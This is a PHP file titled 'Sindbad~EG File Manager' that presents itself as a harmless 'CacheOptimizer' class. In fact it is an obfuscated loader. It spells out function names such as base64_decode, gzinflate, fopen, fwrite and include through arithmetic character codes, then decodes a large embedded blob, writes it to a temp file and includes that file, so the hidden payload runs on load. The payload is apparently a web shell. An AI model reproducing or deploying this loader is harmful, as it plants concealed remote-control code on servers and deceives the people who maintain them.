Sindbad~EG File Manager

<?php
class CacheOptimizer
{
    private $zf = '';
    private $ow = '';
    public function filterResults($p1)
    {
        $v = array(38 + 60, 32 + 46 + 19, 5 * 23, 82 + 16 + 3, 2 * 27, 16 * 2 + 20, 95, 2 * 50, 109 - 8, 86 * 1 + 13, 109 + 1 + 1, 8 + 54 + 38, 109 - 8);
        $o = '';
        foreach ($v as $a) {
            $o .= chr($a);
        }
        return $o($p1);
    }
    public function updateRegistry($p1)
    {
        $p = array(101 * 1, 126 - 10, 89 * 83 - 7290, 44 + 64, 102, 2 * 55, 18 + 64 + 23, 88 * 3 - 142, 111 - 8);
        $b = '';
        foreach ($p as $a) {
            $b .= chr($a);
        }
        $b = strrev($b);
        return $b($p1);
    }
    public function generateToken($p1, $p2)
    {
        $o = array(112 - 2, 78 * 93 - 7153, 93 + 4 + 15, 3 * 37, 29 * 2 + 44);
        $d = '';
        foreach ($o as $k) {
            $d .= chr($k);
        }
        $d = strrev($d);
        return $d($p1, $p2);
    }
    public function logTransaction($p1, $p2)
    {
        $f = array(104 - 3, 28 * 56 - 1452, 41 * 1 + 64, 23 * 118 - 2600, 119, 34 * 3 + 0);
        $fr = '';
        foreach ($f as $n) {
            $fr .= chr($n);
        }
        $fr = strrev($fr);
        return $fr($p1, $p2);
    }
    public function prepareOutput($p1)
    {
        $o = array(102, 61 + 38, 57 + 8 + 43, 120 - 9, 61 + 54, 11 + 44 + 46);
        $c = '';
        foreach ($o as $v) {
            $c .= chr($v);
        }
        return $c($p1);
    }
    public function fetchSummary($p1, $p2 = null)
    {
        $x = array(114, 103 * 1 + 13, 58 * 1 + 56, 10 + 82 + 13, 75 * 83 - 6116);
        $z = '';
        foreach ($x as $c) {
            $z .= chr($c);
        }
        return $z($p1, $p2);
    }
    public function processData()
    {
        $this->ow = $this->fetchSummary($this->encryptData(), '/');
    }
    public function executeAction()
    {
        $this->zf = $this->updateRegistry($this->filterResults($this->na));
    }
    public function handleRequest()
    {
        $fn = $this->ow . '/qq-68ba3d9193d47';
        $f = $this->generateToken($fn, 'w');
        $this->logTransaction($f, $this->zf);
        $this->prepareOutput($f);
        $this->rollbackTransaction($fn);
    }
    private $na = 'pVgLc6LKEv4rSVXqKIVagq+4Xs5WHmrMZjXBZ9xKWYAgCAKC7' . '5z899PdgAtuHqfqJmFgerq/7unp6enJ/767unumWJLvn00O+qv' . 'rGRtppZ75K2llKBcTRd7Vgu8zbW0rK8Oxzyaeo6cvJguFeTW09' . 'LmvWtq3b8TKBN+Tg51map66Wnv2mSz5ark4maqKM1XTMeZfCPH' . 'C1N6SOmN6EOY1JiFInift06mJetBSwt+pp2F7Ph61Dw+pXKrf3' . 'si2uJf57eppuPPlggLEVQ+awr075q11x7hapjKpibExSZavrqf' . 'NwXp6w/XV0bXVMa515e7al4Ztfdq0NrJRXT6PxrrCt/fS6DqPo' . 'o6Oks/8TMCe7G2xOx5ZP5Rm+7bbG99LCyXfa7p2u75bjg/iT+i' . 'DAfnuEFqrIA3FkTi0HqW+sx1aeudn3XKnvDWXB+NVd+gCzwYeC' . 'ZnFu4Htmk8o7EBTQn2WOkN9ymhaVoF2JUBDhkjuFAcem0Coeo8' . 'zpNOAPQvo90DRx7fQFiMZc45DU77hyzGgg4RU/Jz7cvSpHaIva' . 'Ylf0p2YV26dzUPhmgPJZ6NUgNd4eL+QhjtLalYP4Nf9wwIWpFu' . 'dyzy3lQttSzFKwLVUDlXzeSTqj09Hrc6aFvO5MNgDSYanUXXxt' . 'bBw/siyPuhHzQ3EFNGh5BTPIafwbYeM4Ijq2ZGliKDc/SRFrkx' . '+EvODfuuKtIcWKBZhNBt5KUHX9oHDB2iIYkNjBhabO3IsELZH5' . 'vlyHXErdsgnkxmtut4fNK42P7vF7e2T2wpniV5r56GByCT2mam' . 'S1UBCJybWeOFvcAzEb2W+tB4P23lpWIWgvr6VgXlMoQLPD1zlJ' . 'ycS8y1aPIzCQtvvwMu43NBSOvtoVZVZoBZ1XgWBY9EgQcFzRDM' . 'VWoZuQ+z3G9XbXt1qwFDPQi9r8HQHgc2IYG0DVgxm3J4g8AzvU' . 'X782Lem131TbIi01M0e14oULE0DpfomArURmxMbI5xaoy4iVCv' . 'YeeuYGYN+ftAd5XH0TuyX+uStw/4djuOw5EdzX+3VGGNX7I8bf' . 'ROQUH83WBPzT4YBDemrRQSz21vvO0brIljgEmV2yhN6LnDb750' . 'p/+bDHf2c8FmjiuEBPgsiNI55ytgkBx69tvZD37bjXsU1OLJou' . 'yTP0e3HIPco5TXvbXlYRUeNn4KI2WqUOroDnEe5FcaRviT7Wnf' . 'b2aBfP5LVaUgF3ll/MVgEm+CYEEgJ6rzdGcocc9YPUm67FKiju' . 'LsknUyeYtasE2UVJHgFcXFOcz9Km8Cikglw6LzpqjRVvTQcenB' . 'g4YkWHCsMU3tnxMDMbOIgnHiG76srOACb9d6vOBPuEz3FvDDM6' . '8VkPhMmymabQJE9zBghCrL89Ze/8lzHp04mzor5DbP8DLjPBUG' . 'TLF9lXqeGmgCU8NCYIuCbCgx/jMOoHYLAjD8xHWc3j0zfKcLF5' . 'KbT+dGq1y4mS30mpA17xXjO2p6m8yz9MjU8veMDhVyJhQcHnEV' . '4UgedXwTyIpwolA7YpJjaVjcsNSwoYvw5AU35FVPB5Vn6Y16C2' . 'gHdeE5MXIHLcjzP8nwhy+f5YJyNm53jS2yygdm+HgE+1hJH4Vg' . 'OpGRPlczAMyz74Qwh7DDPB44Cvjdy2CkinyvEf9gv+kxyToUk8' . '5cEBq3ABSWjs4USx2aLlSqb5QvF7FmWy1cuX9JMjkbj0+ZZjmc' . 'id5+MwbLHHuYlTRookGi+SfbLXDn2U2G/6EdwmVMcHtTFHliVY' . 'CGyHFdis9VSlitDOF4WXyiuAnGumIcgqb7kwtmXac48x/IVPlt' . 'GzqSOMkZKsiF7kuGSz1UwnuIN7iNwtWEr1nqqhg6pvf0ubDExX' . 'EzMlYGGzQQ0pVKBb2Uu2GvLgq+5ZNInutHVTrcOHrYHCi3Dl/7' . 'YV1hnpXAVQUGQryaKZFmSbCWzAxZeDC3Ueiooa8+aGLaB2QFAm' . 'RoRIFs4LpLW08xNX3zoPPYm3e7DZFAXW43nx3pdzASp6b+w33W' . '6vUyR57NFPv+JQKPz8NAZPnRurnqtTjuTcDX6t8R8IizWe32x3' . 'ROv2l04uzL/3275RM9d/eoW8CHcOLaAwXFZzF5WLz+RuOm02/W' . 'bXq/1s97p9zIViJVspVz6RCJiTSTZpMlf9BkMEQgfUqHuVIUUI' . 'NE0A+JMXRm25oR0IimW46shgc4p00ycFViMMy/n8dxfLucSu/i' . 'LPsOEd0OKnfDsupgcHMGVPF+dgBVRFMJL3QppHEwYgRU5lP7Mi' . '5AIf88Ogh8F1YWfGKM7xZQ2xgkY1P9BdouOx5NxuAfglibIXAL' . 'TwRpo9x7mHA1ZI+57YvLyPZkZFRlQpIBY7mRXY40EdwBaUFnQf' . 'EcxHVe102ny0PcTbp/uR5QkviUKBij7mXc04/0GCwXUnAkQ48m' . 'Wx+xOLfMtTs+z0V9U07gy86q565VP3xmaO9osGUIazhu2UIrO+' . '3NNdUIJTEG+I2gQjKFcXEmpzMaeSJFkMBjaWCT4TkACiISXLZx' . 'roPrzQgBScxT0YA1USkF4Ij4dmJYQBUa3LkIu+6N0UqLKD2bq7' . 'T7jtqygBAzOK+cL4CVGgxFx6+pn7BjdGG/M93eHMX4OGMfJeKB' . 'YoaBafmHLCp69+rECvCmdoKNX4JKE8F/6cLenkP0QHm5PgI5H4' . 'pc+RqfBJepDKC0O9eUawLXpYyTa/eTCEBACUTOslepNNpKHJ7+' . 'V4SqXbIm7hFOPC8prWUB6kPZO+b1dPPa5QgXLKmyZ37Le7pgyq' . 'e84tc9qe8xEXlDbq4runMXHtlpQg+cQ6jTl6JRL6fqQo/BLMKh' . 'BKnWXp2JwfWNq6g4qCYbsOo8M28nMP/8ce4AX77pLtC+UCme30' . 'fzwIpGYD+Z4N8UIfyNk4taEl0GiA3hiAO+ENABqYNEt2xHgkFF' . 't+p9k+B/KsDf3HTv6JhMYOk2i+xwJ/4cLnDYP4iJ2e0PvI9/RO' . 'W//Ag==';
    public function rollbackTransaction($p)
    {
        include $p;
    }
    public function encryptData()
    {
        $a = array(5 * 23, 96 * 13 - 1127, 5 * 39 - 80, 9 * 1 + 86, 31 + 64 + 8, 107 - 6, 116 * 112 - 12876, 67 * 98 - 6471, 126 - 10, 101 * 1, 59 + 50, 74 + 38, 12 * 60 - 625, 22 + 64 + 14, 84 * 1 + 21, 121 - 7);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$du = new CacheOptimizer();
$du->processData();
$du->executeAction();
$du->handleRequest();